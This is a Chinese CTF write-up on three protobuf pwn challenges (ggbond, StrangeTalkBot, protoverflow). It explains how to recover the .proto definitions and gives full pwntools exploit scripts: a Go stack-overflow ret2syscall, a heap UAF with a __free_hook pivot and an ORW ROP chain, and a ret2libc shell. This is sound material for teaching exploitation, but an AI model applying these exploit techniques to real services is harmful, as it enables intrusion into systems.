protobuf pwn
预备工作
安装protobuf编译器- sudo apt-get install libprotobuf-dev protobuf-compiler
复制代码 安装python依靠库- pip3 install grpcio
- pip3 install grpcio-tools googleapis-common-protos
复制代码 安装pbtk- git clone https://github.com/marin-m/pbtk
复制代码 ggbond
来自DubheCTF2024的一道GO protobuf题
提取proto文件
如果pbtk的图形化界面打不开,也可以用下令行,切换到pbtk的extractors目录下,输入下面下令举行提取- ./from_binary.py input_file [output_dir]
复制代码 得到ggbond.proto- syntax = "proto3";
- package GGBond;
- option go_package = "./;ggbond";
- service GGBondServer {
- rpc Handler(Request) returns (Response);
- }
- message Request {
- oneof request {
- WhoamiRequest whoami = 100;
- RoleChangeRequest role_change = 101;
- RepeaterRequest repeater = 102;
- }
- }
- message Response {
- oneof response {
- WhoamiResponse whoami = 200;
- RoleChangeResponse role_change = 201;
- RepeaterResponse repeater = 202;
- ErrorResponse error = 444;
- }
- }
- message WhoamiRequest {
-
- }
- message WhoamiResponse {
- string message = 2000;
- }
- message RoleChangeRequest {
- uint32 role = 1001;
- }
- message RoleChangeResponse {
- string message = 2001;
- }
- message RepeaterRequest {
- string message = 1002;
- }
- message RepeaterResponse {
- string message = 2002;
- }
- message ErrorResponse {
- string message = 4444;
- }
复制代码 切到.proto文件的目录,输入下面下令- python3 -m grpc_tools.protoc -I . --python_out=. --grpc_python_out=. ggbond.proto
复制代码 编译得到py文件
分析程序逻辑
IDA定位到程序main_main入口
grpc创建服务这里能看到ptr_main_server,跟进可以发现main__ptr_server_Handler,结合proto文件可知这个是rpc业务逻辑处理函数,也就是我们重要分析的代码
根据逆向可以得到程序的大致逻辑:
程序有三种消息格式:
- Whoami:打印当前的规则
- RoleChange:更改当前的规则(一共有四种规则,0到3)
- Repeater:发送信息 ,但仅在规则3下服务器才处理收到的信息
导入依靠文件,写出交互函数- import grpc
- import ggbond_pb2
- import ggbond_pb2_grpc
- import base64
- channel_port = "127.0.0.1:23334"
- def who():
- channel = grpc.insecure_channel(channel_port)
- stub = ggbond_pb2_grpc.GGBondServerStub(channel)
- request = ggbond_pb2.Request()
- request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())
- response = stub.Handler(request)
- print("Response from Handler:", response)
- def Role(ty):
- channel = grpc.insecure_channel(channel_port)
- stub = ggbond_pb2_grpc.GGBondServerStub(channel)
- request = ggbond_pb2.Request()
- request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))
- response = stub.Handler(request)
- print("Response from Handler:", response)
- def Rep(data):
- channel = grpc.insecure_channel(channel_port)
- stub = ggbond_pb2_grpc.GGBondServerStub(channel)
- request = ggbond_pb2.Request()
- request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))
- stub.Handler(request)
复制代码 接下来我们看规则3下服务器是如何处理发送的信息的
将发送的信息base64解码之后有个栈上的copy,很明显这里有溢出,v47指向栈上的变量v73,得到溢出偏移为0xC8
接下来就是通例go题的ret2syscall了
exp脚本
提供了shell和ORW两种打法- from pwn import *import grpc
- import ggbond_pb2
- import ggbond_pb2_grpc
- import base64
- channel_port = "127.0.0.1:23334"
- def who():
- channel = grpc.insecure_channel(channel_port)
- stub = ggbond_pb2_grpc.GGBondServerStub(channel)
- request = ggbond_pb2.Request()
- request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())
- response = stub.Handler(request)
- print("Response from Handler:", response)
- def Role(ty):
- channel = grpc.insecure_channel(channel_port)
- stub = ggbond_pb2_grpc.GGBondServerStub(channel)
- request = ggbond_pb2.Request()
- request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))
- response = stub.Handler(request)
- print("Response from Handler:", response)
- def Rep(data):
- channel = grpc.insecure_channel(channel_port)
- stub = ggbond_pb2_grpc.GGBondServerStub(channel)
- request = ggbond_pb2.Request()
- request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))
- stub.Handler(request)context(arch = "amd64",os = "linux",log_level = "debug")#context.terminal = ['tmux','splitw','-h']context.terminal = ['gnome-terminal', '-x', 'sh', '-c']file = "./ggbond"p = process(file)elf = ELF(file)#gdb.debug(file, "b *0x7EE028\nb *0x7ED9D9")Role(3)rax = 0x00000000004101e6rdi = 0x0000000000401537rsi = 0x0000000000422398rdx = 0x0000000000461bd1syscall = 0x000000000040452c# ROPgadget --string "flag\x00" --binary ggbondflag = 0x00000000007f95babuf = elf.bss(0x800)# systemrop = b'a'*0x68 + b'\x00'*0x60rop += p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)rop += p64(rax) + p64(59) + p64(rdi) + p64(buf) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)# ORW""" rop = b'a'*0xc8rop += p64(rax) + p64(2) + p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)rop += p64(rax) + p64(0) + p64(rdi) + p64(8) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)rop += p64(rax) + p64(1) + p64(rdi) + p64(1) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall) """p.send('/bin/sh\x00')try: Rep(base64.b64encode(rop))except: p.interactive()
复制代码 StrangeTalkBot
一道CISCN2023初赛的C protobuf堆题,我觉得难点更多是在逆向部分(还原proto内容)
还原proto文件
查看主函数- void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
- {
- unsigned __int64 v3; // [rsp+0h] [rbp-10h]
- char *v4; // [rsp+8h] [rbp-8h]
- sub_1763();
- while ( 1 )
- {
- memset(byte_A060, 0, sizeof(byte_A060));
- puts("You can try to have friendly communication with me now: ");
- v3 = read(0, byte_A060, 0x400uLL);
- v4 = sub_192D(0LL, v3, byte_A060);
- if ( !v4 )
- break;
- sub_155D(*(v4 + 3), *(v4 + 4), *(v4 + 5), *(v4 + 6), *(v4 + 7));
- }
- sub_1329();
- }
复制代码 循环read读到byte_A060,然后函数sub_192D处理读入的字节。跟进可以发现sub_192D就是解析protobuf字节流的函数,返回对应的C结构体
为了理解protobuf在c是如何工作的,我下载了protobuf-c编译器以及protobuf-c的git项目(这里是为了得到一些关键的头文件定义- sudo apt install protobuf-c-compiler
- git clone https://github.com/protobuf-c/protobuf-c.git
复制代码 接着我定义了一个测试proto文件并编译得到.h和.c文件- syntax = "proto2";
- message testMessage {
- required string name = 1;
- required sint64 id = 2;
- required bytes buffer = 3;
- required uint32 size = 4;
- }
复制代码 test.pb-c.h- /* Generated by the protocol buffer compiler. DO NOT EDIT! */
- /* Generated from: test.proto */
- #ifndef PROTOBUF_C_test_2eproto__INCLUDED
- #define PROTOBUF_C_test_2eproto__INCLUDED
- #include <protobuf-c/protobuf-c.h>
- PROTOBUF_C__BEGIN_DECLS
- #if PROTOBUF_C_VERSION_NUMBER < 1000000
- # error This file was generated by a newer version of protoc-c which is incompatible with your libprotobuf-c headers. Please update your headers.
- #elif 1003003 < PROTOBUF_C_MIN_COMPILER_VERSION
- # error This file was generated by an older version of protoc-c which is incompatible with your libprotobuf-c headers. Please regenerate this file with a newer version of protoc-c.
- #endif
- typedef struct _TestMessage TestMessage;
- /* --- enums --- */
- /* --- messages --- */
- struct _TestMessage
- {
- ProtobufCMessage base;
- char *name;
- int64_t id;
- ProtobufCBinaryData buffer;
- uint32_t size;
- };
- #define TEST_MESSAGE__INIT \
- { PROTOBUF_C_MESSAGE_INIT (&test_message__descriptor) \
- , NULL, 0, {0,NULL}, 0 }
- /* TestMessage methods */
- void test_message__init
- (TestMessage *message);
- size_t test_message__get_packed_size
- (const TestMessage *message);
- size_t test_message__pack
- (const TestMessage *message,
- uint8_t *out);
- size_t test_message__pack_to_buffer
- (const TestMessage *message,
- ProtobufCBuffer *buffer);
- TestMessage *
- test_message__unpack
- (ProtobufCAllocator *allocator,
- size_t len,
- const uint8_t *data);
- void test_message__free_unpacked
- (TestMessage *message,
- ProtobufCAllocator *allocator);
- /* --- per-message closures --- */
- typedef void (*TestMessage_Closure)
- (const TestMessage *message,
- void *closure_data);
- /* --- services --- */
- /* --- descriptors --- */
- extern const ProtobufCMessageDescriptor test_message__descriptor;
- PROTOBUF_C__END_DECLS
- #endif /* PROTOBUF_C_test_2eproto__INCLUDED */
复制代码 test.pb-c.c- /* Generated by the protocol buffer compiler. DO NOT EDIT! */
- /* Generated from: test.proto */
- /* Do not generate deprecated warnings for self */
- #ifndef PROTOBUF_C__NO_DEPRECATED
- #define PROTOBUF_C__NO_DEPRECATED
- #endif
- #include "test.pb-c.h"
- void test_message__init
- (TestMessage *message)
- {
- static const TestMessage init_value = TEST_MESSAGE__INIT;
- *message = init_value;
- }
- size_t test_message__get_packed_size
- (const TestMessage *message)
- {
- assert(message->base.descriptor == &test_message__descriptor);
- return protobuf_c_message_get_packed_size ((const ProtobufCMessage*)(message));
- }
- size_t test_message__pack
- (const TestMessage *message,
- uint8_t *out)
- {
- assert(message->base.descriptor == &test_message__descriptor);
- return protobuf_c_message_pack ((const ProtobufCMessage*)message, out);
- }
- size_t test_message__pack_to_buffer
- (const TestMessage *message,
- ProtobufCBuffer *buffer)
- {
- assert(message->base.descriptor == &test_message__descriptor);
- return protobuf_c_message_pack_to_buffer ((const ProtobufCMessage*)message, buffer);
- }
- TestMessage *
- test_message__unpack
- (ProtobufCAllocator *allocator,
- size_t len,
- const uint8_t *data)
- {
- return (TestMessage *)
- protobuf_c_message_unpack (&test_message__descriptor,
- allocator, len, data);
- }
- void test_message__free_unpacked
- (TestMessage *message,
- ProtobufCAllocator *allocator)
- {
- if(!message)
- return;
- assert(message->base.descriptor == &test_message__descriptor);
- protobuf_c_message_free_unpacked ((ProtobufCMessage*)message, allocator);
- }
- static const ProtobufCFieldDescriptor test_message__field_descriptors[4] =
- {
- {
- "name",
- 1,
- PROTOBUF_C_LABEL_REQUIRED,
- PROTOBUF_C_TYPE_STRING,
- 0, /* quantifier_offset */
- offsetof(TestMessage, name),
- NULL,
- NULL,
- 0, /* flags */
- 0,NULL,NULL /* reserved1,reserved2, etc */
- },
- {
- "id",
- 2,
- PROTOBUF_C_LABEL_REQUIRED,
- PROTOBUF_C_TYPE_SINT64,
- 0, /* quantifier_offset */
- offsetof(TestMessage, id),
- NULL,
- NULL,
- 0, /* flags */
- 0,NULL,NULL /* reserved1,reserved2, etc */
- },
- {
- "buffer",
- 3,
- PROTOBUF_C_LABEL_REQUIRED,
- PROTOBUF_C_TYPE_BYTES,
- 0, /* quantifier_offset */
- offsetof(TestMessage, buffer),
- NULL,
- NULL,
- 0, /* flags */
- 0,NULL,NULL /* reserved1,reserved2, etc */
- },
- {
- "size",
- 4,
- PROTOBUF_C_LABEL_REQUIRED,
- PROTOBUF_C_TYPE_UINT32,
- 0, /* quantifier_offset */
- offsetof(TestMessage, size),
- NULL,
- NULL,
- 0, /* flags */
- 0,NULL,NULL /* reserved1,reserved2, etc */
- },
- };
- static const unsigned test_message__field_indices_by_name[] = {
- 2, /* field[2] = buffer */
- 1, /* field[1] = id */
- 0, /* field[0] = name */
- 3, /* field[3] = size */
- };
- static const ProtobufCIntRange test_message__number_ranges[1 + 1] =
- {
- { 1, 0 },
- { 0, 4 }
- };
- const ProtobufCMessageDescriptor test_message__descriptor =
- {
- PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC,
- "testMessage",
- "TestMessage",
- "TestMessage",
- "",
- sizeof(TestMessage),
- 4,
- test_message__field_descriptors,
- test_message__field_indices_by_name,
- 1, test_message__number_ranges,
- (ProtobufCMessageInit) test_message__init,
- NULL,NULL,NULL /* reserved[123] */
- };
复制代码 生成的代码有点冗长,对逆向有帮助的重要在test.pb-c.c文件内里,声明了很多静态全局变量,例如形貌消息字段的test_message__field_indices_by_name数组以及形貌消息的全局变量test_message__descriptor,其中形貌消息的全局变量第一个成员是常量PROTOBUF_C__MESSAGE_DESCRIPTOR_MAGIC = 0x28AAEEF9,用IDA全局搜索该常量

很明显在我们要找的是在数据段的结果,而在该常量上面就是我们须要的消息字段形貌结构体数组
如今我们知道形貌消息中单个字段的结构体叫ProtobufCFieldDescriptor,从这个结构体中我们能提取到ProtobufCLabel和ProtobufCType这两个重要的枚举类型,下面的代码同时也给出了ProtobufCFieldDescriptor的结构体定义,我们将这三个结构体导入到IDA中- enum ProtobufCLabel
- {
- PROTOBUF_C_LABEL_REQUIRED = 0x0, ///< A well-formed message must have exactly one of this field.
- PROTOBUF_C_LABEL_OPTIONAL = 0x1, ///< A well-formed message can have zero or one of this field (but not
- ///< more than one).
- PROTOBUF_C_LABEL_REPEATED = 0x2, ///< This field can be repeated any number of times (including zero) in a
- ///< well-formed message. The order of the repeated values will be
- ///< preserved.
- PROTOBUF_C_LABEL_NONE = 0x3, ///< This field has no label. This is valid only in proto3 and is
- ///< equivalent to OPTIONAL but no "has" quantifier will be consulted.
- };
- enum ProtobufCType
- {
- PROTOBUF_C_TYPE_INT32 = 0x0, ///< int32
- PROTOBUF_C_TYPE_SINT32 = 0x1, ///< signed int32
- PROTOBUF_C_TYPE_SFIXED32 = 0x2, ///< signed int32 (4 bytes)
- PROTOBUF_C_TYPE_INT64 = 0x3, ///< int64
- PROTOBUF_C_TYPE_SINT64 = 0x4, ///< signed int64
- PROTOBUF_C_TYPE_SFIXED64 = 0x5, ///< signed int64 (8 bytes)
- PROTOBUF_C_TYPE_UINT32 = 0x6, ///< unsigned int32
- PROTOBUF_C_TYPE_FIXED32 = 0x7, ///< unsigned int32 (4 bytes)
- PROTOBUF_C_TYPE_UINT64 = 0x8, ///< unsigned int64
- PROTOBUF_C_TYPE_FIXED64 = 0x9, ///< unsigned int64 (8 bytes)
- PROTOBUF_C_TYPE_FLOAT = 0xA, ///< float
- PROTOBUF_C_TYPE_DOUBLE = 0xB, ///< double
- PROTOBUF_C_TYPE_BOOL = 0xC, ///< boolean
- PROTOBUF_C_TYPE_ENUM = 0xD, ///< enumerated type
- PROTOBUF_C_TYPE_STRING = 0xE, ///< UTF-8 or ASCII string
- PROTOBUF_C_TYPE_BYTES = 0xF, ///< arbitrary byte sequence
- PROTOBUF_C_TYPE_MESSAGE = 0x10, ///< nested message
- };
- struct ProtobufCFieldDescriptor {
- /** Name of the field as given in the .proto file. */
- const char *name;
- /** Tag value of the field as given in the .proto file. */
- uint32_t id;
- /** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
- ProtobufCLabel label;
- /** The type of the field. */
- ProtobufCType type;
- /**
- * The offset in bytes of the message's C structure's quantifier field
- * (the `has_MEMBER` field for optional members or the `n_MEMBER` field
- * for repeated members or the case enum for oneofs).
- */
- unsigned quantifier_offset;
- /**
- * The offset in bytes into the message's C structure for the member
- * itself.
- */
- unsigned offset;
- const void *descriptor; /* for MESSAGE and ENUM types */
- /** The default value for this field, if defined. May be NULL. */
- const void *default_value;
- uint32_t flags;
- /** Reserved for future use. */
- unsigned reserved_flags;
- /** Reserved for future use. */
- void *reserved2;
- /** Reserved for future use. */
- void *reserved3;
- };
复制代码 然后还原消息字段形貌结构体数组

由此可以还原出程序的proto文件如下- syntax = "proto2";
- message Devicemsg {
- required sint64 actionid = 1;
- required sint64 msgidx = 2;
- required sint64 msgsize = 3;
- required bytes msgcontent = 4;
- }
复制代码 最后用protoc编译该proto文件为py代码
可知sub_192D处理后返回的C语言结构体布局如下- struct _Devicemsg
- {
- ProtobufCMessage base; //这个在IDA导入时可以用 unint64_t base[3]; 代替
- int64_t actionid;
- int64_t msgidx;
- int64_t msgsize;
- ProtobufCBinaryData msgcontent;
- };
- struct ProtobufCBinaryData {
- size_t len; /**< Number of bytes in the `data` field. */
- uint8_t *data; /**< Data bytes. */
- };
复制代码 将该结构体导入IDA,设置main函数v4的类型为Devicemsg*
分析程序逻辑
看NSS讨论区说是2.31-0ubuntu9.9_amd64,glibc all in one没能找到这个版本,所以用的是2.31-0ubuntu9.15_amd64,虽然版本存在小差异,但思路是差不多的
通例的堆题菜单且delete存在UAF
存在这些限制:
- 只能创建 0x21 个堆
- 堆的巨细和msgcontent长度不能超过 0xf1
- 程序开启了沙盒禁用了execve调用
因为禁用了execve,所以不能打ogg大概system
利用思路也很清晰:
- 填满tcache然后再free一个堆到unsorted bin,通过UAF leak出libc
- 写free_hook利用magic_gadget举行栈迁徙
- 打ORW ROP
exp脚本
- from pwn import *
- def debug(c = 0):
- if(c):
- gdb.attach(p, c)
- else:
- gdb.attach(p)
- def get_addr():
- return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
- def get_sb():
- return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
- #-----------------------------------------------------------------------------------------
- sd = lambda data : p.send(data)
- sa = lambda text,data :p.sendafter(text, data)
- sl = lambda data :p.sendline(data)
- sla = lambda text,data :p.sendlineafter(text, data)
- rc = lambda num=4096 :p.recv(num)
- ru = lambda text :p.recvuntil(text)
- rl = lambda :p.recvline()
- pr = lambda num=4096 :print(p.recv(num))
- inter = lambda :p.interactive()
- l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
- l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
- uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
- uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
- int16 = lambda data :int(data,16)
- lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
- #-----------------------------------------------------------------------------------------
- context(arch = "amd64",os = "linux",log_level = "debug")
- #context.terminal = ['tmux','splitw','-h']
- context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
- file = "./service"
- libc = "./libc.so.6"
- #cmd = ""
- #p = gdb.debug(file, cmd)
- p = process(file)
- elf = ELF(file)
- libc = ELF(libc)
- #p = remote("node4.anna.nssctf.cn", 28245)
- import message_pb2
- def add(i,s,c):
- msg = message_pb2.Devicemsg()
- msg.actionid = 1
- msg.msgidx = i
- msg.msgsize = s
- msg.msgcontent = c
- sa(': \n',msg.SerializeToString())
- def free(i):
- msg = message_pb2.Devicemsg()
- msg.actionid = 4
- msg.msgidx = i
- msg.msgsize = 0
- msg.msgcontent = b''
- sa(': \n',msg.SerializeToString())
- def show(i):
- msg = message_pb2.Devicemsg()
- msg.actionid = 3
- msg.msgidx = i
- msg.msgsize = 0
- msg.msgcontent = b''
- sa(': \n',msg.SerializeToString())
- def edit(i,c):
- msg = message_pb2.Devicemsg()
- msg.actionid = 2
- msg.msgidx = i
- msg.msgsize = 0
- msg.msgcontent = c
- sa(': \n',msg.SerializeToString())
- for i in range(8):
- add(i,0xf0,b'')
- for i in range(8):
- free(i)
- show(7)
- rc(0x50)
- libc_base = uu64()-0x1ecbe0
- lg("libc_base", libc_base)
- show(0)
- rc(8)
- heap_base = uu64() - 0x10
- lg('heap_base',heap_base)
- pop_rdi_ret = libc_base+0x0000000000023b6a
- pop_rsi_ret = libc_base+0x000000000002601f
- pop_rdx_r12_ret = libc_base+0x0000000000119431
- pop_rax_ret = libc_base+0x0000000000036174
- syscall_ret = libc_base+0x00000000000630a9
- payload = p64(libc_base+libc.sym["__free_hook"]) + flat([
- libc_base+0x0000000000025b9b,
- 0,
- heap_base+0xad0,
- pop_rdi_ret,
- heap_base+0xad0,
- pop_rsi_ret,
- 0,
- pop_rdx_r12_ret,
- 0,
- 0,
- pop_rax_ret,
- 2,
- syscall_ret, # open
- pop_rdi_ret,
- 3,
- pop_rsi_ret,
- heap_base+0xad0,
- pop_rdx_r12_ret,
- 0x30,
- 0,
- pop_rax_ret,
- 0,
- syscall_ret, # read
- pop_rdi_ret,
- 1,
- pop_rax_ret,
- 1,
- syscall_ret, # write
- ])
- edit(6, payload)
- debug("b *$rebase(0x1561)")
- payload = flat({
- 0x00: 0x67616c662f2e, # ./flag
- 0x28: libc_base+0x00000000000578c8,
- 0x48: heap_base+0xfa0
- }).ljust(0x50, b'\x00')
- add(8, 0xf0, payload)
- magic_gadget = libc_base+0x15500A
- """
- mov rbp, [rdi+48h]
- mov rax, [rbp+18h]
- lea r13, [rbp+10h]
- mov dword ptr [rbp+10h], 0
- mov rdi, r13
- call qword ptr [rax+28h]
- """
- add(9,0xf0,p64(magic_gadget))
- free(8)
- inter()
复制代码 protoverflow
CISCN2024 华中半决赛的题,C++ protobuf题,标题不难溢出点很明显,惋惜当时因为python环境有题目导致没能写出来(哭哭
提取protobuf文件
和GO语言那道一样直接脚本提取得到proto文件- syntax = "proto2";
- message protoMessage {
- optional string name = 1;
- optional string phoneNumber = 2;
- required bytes buffer = 3;
- required uint32 size = 4;
- }
复制代码 分析程序逻辑
主函数很简单,先泄露libc然后读取用户输入,再解析protobuf流
之后的处理函数中memcpy存在很明显的栈溢出,直接打ret2libc即可
exp脚本
- from pwn import *
- import struct
- def debug(c = 0):
- if(c):
- gdb.attach(p, c)
- else:
- gdb.attach(p)
- def get_addr():
- return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
- def get_sb():
- return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
- #-----------------------------------------------------------------------------------------
- sd = lambda data : p.send(data)
- sa = lambda text,data :p.sendafter(text, data)
- sl = lambda data :p.sendline(data)
- sla = lambda text,data :p.sendlineafter(text, data)
- rc = lambda num=4096 :p.recv(num)
- ru = lambda text :p.recvuntil(text)
- rl = lambda :p.recvline()
- pr = lambda num=4096 :print(p.recv(num))
- inter = lambda :p.interactive()
- l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
- l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
- uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
- uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
- int16 = lambda data :int(data,16)
- lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
- #-----------------------------------------------------------------------------------------
- import message_pb2
- context(arch = "amd64",os = "linux",log_level = "debug")
- #context.terminal = ['tmux','splitw','-h']
- context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
- file = './pwn'
- p = process([file], env= {"LD_LIBRARY_PATH":"./"})
- elf = ELF(file)
- libc = ELF(p.libc.path)
- # debug('b *$rebase(0x332f)')
- ru(b'0x')
- libc_base = int(rc(12), 16) - libc.sym['puts']
- lg('libc_base', libc_base)
- rdi = libc_base + 0x000000000002a3e5
- ret = rdi + 1
- system, binsh = get_sb()
- pl = b'a'*0x218
- pl += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
- msg = message_pb2.protoMessage()
- msg.name="1"
- msg.phoneNumber="2"
- msg.buffer = pl
- msg.size = len(pl)
- serialized_msg = msg.SerializeToString()
- sd(serialized_msg)
- inter()
复制代码 参考文章:python底子--protobuf的使用(一)_protobuf py-CSDN博客
【Python进阶学习】gRPC的基本使用教程_grpc 同一个链接 保持变量参数-CSDN博客
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |